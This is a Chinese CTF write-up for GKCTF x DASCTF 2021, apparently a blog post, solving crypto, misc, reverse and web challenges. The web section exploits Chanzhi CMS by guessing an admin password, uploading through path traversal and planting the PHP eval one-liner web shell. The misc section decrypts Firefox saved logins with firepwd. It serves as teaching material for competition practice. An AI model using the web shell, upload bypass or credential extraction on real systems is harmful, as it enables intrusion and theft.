GKCTF x DASCTF应急挑战杯

指导单位: 中国移动通信联合会
主办单位: 防灾科技学院信息工程学院杭州安恒信息技术股份有限公司
本次命题: Ginkgo战队
比赛时间: 2021年6月26日09:00-17:00
报名时间: 2021年6月21日19:30-6月26日9:00
报名地址: buuoj.cn/das

Rank: 40


Crypto

Random

flag格式为 GKCTF{}

1
2
3
4
5
6
7
8
9
10
11
12
13
import random
from hashlib import md5

def get_mask():
file = open("random.txt","w")
for i in range(104):
file.write(str(random.getrandbits(32))+"\n")
file.write(str(random.getrandbits(64))+"\n")
file.write(str(random.getrandbits(96))+"\n")
file.close()
get_mask()
flag = md5(str(random.getrandbits(32)).encode()).hexdigest()
print(flag)

Python中random模块采用梅森旋转算法(MT19937)生成伪随机序列中的元素,该PRNG采用32位的state和32位的输出,在获得足够连续输出的情况下,梅森旋转算法接下来的输出值是可以准确预测的。

根据 random.txt 中104组 random.getrandbits() 函数输出值,利用预测工具 Mersenne Twister Predictor 来求出下一个随机数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import random
from mt19937predictor import MT19937Predictor
from hashlib import md5

predictor = MT19937Predictor()

file = open("random.txt","r").readlines()
c1 = []
c2 = []
c3 = []
for k in range(0,len(file),3):
c1 += [int(file[k].strip())]
c2 += [int(file[k+1].strip())]
c3 += [int(file[k+2].strip())]

for k in range(104):
predictor.setrandbits(c1[k], 32)
predictor.setrandbits(c2[k], 64)
predictor.setrandbits(c3[k], 96)

print(md5(str(predictor.getrandbits(32)).encode()).hexdigest())
#14c71fec812b754b2061a35a4f6d8421

Misc

签到

师傅们玩的开心~(flag由flag头包裹

用Wireshark打开流量包文件 tmpshell.pcapng,追踪TCP流,从第3个流开始有HTTP POST数据包,都为 /g1nkgo/tmpshell.php 的RCE结果。

看到第5个流有 cat /f14g 命令结果,下载下来16进制查看,从文件头 1f8b0800000000000003 知为gzip文件,解压,逆序+base64解码得:

[回车] [回车] [回车] ffllaagg{{}}WWeellcc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!

两个相同字符一组还原得flag。

问卷调查

https://www.wjx.cn/vj/Y3msOw2.aspx

感谢各位师傅参与本次比赛。

填问卷。

你知道apng吗

(flag由flag头包裹

apng图片(动态png图片),用apngdis工具提取各帧,发现第2、18、26帧有二维码。

QR_Research能识别出第18帧为 -ad20,以及第26帧为 -0327-288a235370ea},第2帧变形二维码无法识别,用在线工具qrazybox照着手绘,得到结果 flag{a3c7e4e5

flag应为uuid形式,还少一段,按照2、18、26的间隔,应该在第10帧里,stegsolve查看第10帧,在Red 2通道看到二维码,识别结果 -9b9d

拼接得flag。

银杏岛の奇妙冒险

链接: https://pan.baidu.com/s/1cONFRAgjmu2-de67IRthhQ 密码: 04m0

链接:https://share.weiyun.com/hdikz5gL 密码:yjyh3g

游戏题

1.游戏启动需要java1.8环境,无java环境会自动帮助安装java环境,如果你已经有java1.8环境,即可无视这条信息 2.启动 “点击启动.exe” 文件,打开游戏启动器,输入你的ID 3.java环境配置完毕后,最好分配游戏内存至少为2048M 4.进入游戏后,根据游戏内的任务索引完成任务,即可获取flag 5.进入游戏 一定 一定 一定要注意对话信息,否则无法顺利的完成任务 5.祝大家玩的愉快

Minecraft游戏,试玩了下不熟悉,尝试从资源文件入手。

Everything搜索 flag 关键字,发现 .minecraft\saves\Where is the flag 存档目录,接着在 customnpcs\quests\主线 目录中找到主线对应的json文件有关键字符串:

2.json 中:"{\"text\":\" part 1\\nw3lc0me_\\n\\npart 2\\n291 -95 67\"}"

3.json 中:"{\"text\":\" part 2\\nt0_9kctf_\\n\\npart 3 \\n324 -190 79\"}"

4.json 中:"{\"text\":\" part 3\\n2021_\\n\\npart 4\\n362 -144 69\"}"

5.json 中:"{\"text\":\" Part 4\\nCheck_1n\\n恭喜你,\\n完成签到,\\n武运昌隆。\"}"

前面是内容,后面是下一处的坐标。

拼接,加头得flag。

FireFox Forensics

取证大佬说这是一份登录凭证文件

得到 logins.jsonkey4.db 两个文件,结合题目知是火狐浏览器存储密码信息的密钥文件对,直接利用Firepwd工具解析(将两个文件置于脚本同一目录下):

python firepwd.py

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
globalSalt: b'1e26e84b2f01da28d865e7258f9003d16b9c43f2'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'66a735e17767b37d83d464126b36d4269243f9e0c99405ccd68f442798f83129'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'24eb241594de7ab37ec379d9ba06'
}
}
}
OCTETSTRING b'946322a2b2978db6601e449e1bdf7c4d'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'56722302469f529a29dc73f28d6af3ed0ee483cceff05772e96e2313336816fd'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'ef6a4df3e5fd7608c97df9e22092'
}
}
}
OCTETSTRING b'51b24cd6a2672c312255d7f2dddeb67336fd56973b4302bb2eacf2270c251d41'
}
clearText b'673dec57458fb95bd50bdc9198541038970e5b3d518973a40808080808080808'
decrypting login/password pairs
https://ctf.g1nkg0.com:b'admin',b'GKCTF{9cf21dda-34be-4f6c-a629-9c4647981ad7}'

Reverse

QQQQT

QQQT?什么东西?

链接: https://pan.baidu.com/s/1e0fdBFIZ52EX04PwdgmpRQ 密码: cfiq

IDA打开,在字符串窗口跟进 56fkoP8KhwCf3v7CEz 找到关键函数 sub_4012F0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
int __thiscall sub_4012F0(_DWORD *this)
{
int v1; // edi
_BYTE *v2; // esi
const char *v3; // edx
_BYTE *v4; // esi
int v5; // ecx
int v6; // eax
int v7; // ecx
int v8; // edx
int v9; // edi
int v10; // esi
_BYTE *v11; // ecx
unsigned int v12; // ecx
int v14; // [esp-8h] [ebp-A8h]
char v16[4]; // [esp+10h] [ebp-90h] BYREF
char v17[4]; // [esp+14h] [ebp-8Ch] BYREF
_BYTE *v18; // [esp+18h] [ebp-88h]
const char *v19; // [esp+1Ch] [ebp-84h]
int v20; // [esp+20h] [ebp-80h]
int v21; // [esp+24h] [ebp-7Ch] BYREF
_BYTE *v22; // [esp+28h] [ebp-78h] BYREF
char v23[60]; // [esp+2Ch] [ebp-74h] BYREF
__int128 v24[2]; // [esp+68h] [ebp-38h] BYREF
__int64 v25; // [esp+88h] [ebp-18h]
int v26; // [esp+9Ch] [ebp-4h]

MEMORY[0x5FF6](*(_DWORD *)(this[6] + 4), v16);
v26 = 0;
MEMORY[0x7C7C](v16, v17);
LOBYTE(v26) = 1;
v19 = (const char *)MEMORY[0x7C48](v17);
v24[0] = 0i64;
v24[1] = 0i64;
v25 = 0i64;
strcpy(v23, "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz");
v21 = 138 * strlen(v19) / 0x64;
v14 = v21 + 1;
v1 = 0;
v22 = (_BYTE *)MEMORY[0x8114](v21 + 1);
v2 = v22;
sub_402C08(v22, 0, v14);
v3 = v19;
v20 = (int)(v19 + 1);
if ( strlen(v19) )
{
v4 = &v2[v21];
v18 = v4;
while ( 1 )
{
v20 = ((char)*v4 << 8) + v3[v1];
v5 = v20 / 58;
*v4 = v20 % 58;
if ( v5 )
{
do
{
v6 = (char)*--v4;
v7 = (v6 << 8) + v5;
v20 = v7 / 58;
*v4 = v7 % 58;
v5 = v20;
}
while ( v20 );
v4 = v18;
}
if ( ++v1 >= strlen(v19) )
break;
v3 = v19;
}
v2 = v22;
}
v8 = 0;
if ( !*v2 )
{
do
++v8;
while ( !v2[v8] );
}
v9 = v21;
if ( v8 <= v21 )
{
v10 = v2 - (_BYTE *)v24;
do
{
v11 = (char *)v24 + v8++;
*v11 = v23[(char)v11[v10]];
}
while ( v8 <= v9 );
}
if ( !MEMORY[0x7C1A](v24, "56fkoP8KhwCf3v7CEz") )
{
if ( v19 )
v12 = strlen(v19);
else
v12 = -1;
v22 = (_BYTE *)MEMORY[0x7CCC](v19, v12);
LOBYTE(v26) = 2;
v21 = MEMORY[0x7CCC]("flag", 4);
LOBYTE(v26) = 3;
MEMORY[0x6124](this, &v21, &v22, 1024, 0);
MEMORY[0x7C66](&v21);
MEMORY[0x7C66](&v22);
}
MEMORY[0x7C30](v17);
return MEMORY[0x7C66]();
}

分析代码逻辑知将输入字符串base58编码后的结果与字符串 56fkoP8KhwCf3v7CEz 比对,直接base58解码 56fkoP8KhwCf3v7CEz 得到 12t4tww3r5e77。加头即flag。

Web

easycms

真·ezcms

hint: 后台密码5位弱口令

蝉知cms,搜索知该cms存在后台任意文件读取后台Getshell漏洞。

访问 admin.php,根据提示用 admin/12345 登进后台,在设计-高级里面可以直接编辑php模板文件:

20210626191309

在源码里加上一句话却发现需要验证用户权限:

20210626191605

如果编辑模板,需要管理员在cms的 /system/tmp 目录下新建一个名字为 xgem.txt 的文件来验证是否有写入权限。

设计-组件-素材库可以上传素材,并且可以跨目录上传文件。本地新建一个 xgem.txt 文件,上传后把名称的参数改为 ../../../../../system/tmp/xgem

20210626191957

再回到设计-高级模板编辑界面,尝试在首页模板文件 /var/www/html/system/tmp/template/default/index/index.html.php 中首行添加 <?php phpinfo();?>,保存。

回到首页发现执行成功:

20210626192413

将代码改为一句话 <?php @eval($_POST[ccc]);?>,蚁剑连接,在根目录访问文件 /flag 得到flag。